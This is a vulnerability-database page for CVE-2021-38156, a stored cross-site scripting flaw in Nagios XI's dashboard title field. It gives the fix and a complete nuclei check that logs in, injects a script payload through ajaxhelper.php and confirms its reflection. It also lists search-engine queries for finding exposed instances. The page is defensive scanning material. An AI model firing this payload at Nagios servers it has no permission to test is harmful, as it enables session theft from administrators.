HexBrain

Browse / CVEs / CVE-2021-38156

CVE-2021-38156· nagios / nagios xi· CWE-79

Nagios XI < 5.8.6 - Cross-Site Scripting

mediumseverity
5.4CVSS score
92.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

In Nagios XI before 5.8.6, XSS exists in the dashboard page (/dashboards/#) when administrative users attempt to edit a dashboard.

Impact

Authenticated attackers can inject malicious JavaScript via XSS in the dashboard title field, potentially stealing administrator session cookies or performing administrative actions.

Fix

Upgrade to Nagios XI version 5.8.6 or later.

How to confirm it

Send: GET /nagiosxi/login.php ; POST /nagiosxi/login.php ; GET /nagiosxi/index.php ; POST /nagiosxi/ajaxhelper.php ; GET /nagiosxi/dashboards/manage.php
Positive when: contains in body_5 "data-title=\"\"><script>alert(document.domain)</script>" AND contains in header_5 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2021-38156 -u <target>

The full check
id: CVE-2021-38156

info:
  name: Nagios XI < 5.8.6 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    In Nagios XI before 5.8.6, XSS exists in the dashboard page (/dashboards/#) when administrative users attempt to edit a dashboard.
  impact: |
    Authenticated attackers can inject malicious JavaScript via XSS in the dashboard title field, potentially stealing administrator session cookies or performing administrative actions.
  remediation: |
    Upgrade to Nagios XI version 5.8.6 or later.
  reference:
    - https://raxis.com/blog/cve-2021-38156/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-38156
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2021-38156
    cwe-id: CWE-79
    epss-score: 0.92909
    epss-percentile: 0.99833
    cpe: cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*
  metadata:
    max-request: 5
    verified: true
    vendor: nagios
    product: nagios_xi
    shodan-query: http.title:"nagios xi"
    fofa-query: app="nagios-xi"
    google-query: intitle:"nagios xi"
  tags: cve,cve2021,nagios,nagiosxi,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /nagiosxi/login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nsp={{nsp}}&pageopt=login&username={{username}}&password={{password}}

      - |
        GET /nagiosxi/index.php HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /nagiosxi/ajaxhelper.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        cmd=updatedashboard&id=home&opts=&title="><script>alert(document.domain)</script>&background=&transparent=0&submitButton=Submit&nsp={{nsp_auth}}

      - |
        GET /nagiosxi/dashboards/manage.php HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 2
    matchers-condition: and
    matchers:
      - type: word
        part: body_5
        words:
          - 'data-title=""><script>alert(document.domain)</script>'

      - type: word
        part: header_5
        words:
          - text/html

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        name: nsp
        part: body
        group: 1
        regex:
          - "name=['\"]nsp['\"] value=['\"](.*)['\"]>"
        internal: true

      - type: regex
        name: nsp_auth
        part: body
        group: 1
        regex:
          - "var nsp_str = ['\"](.*)['\"];"
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from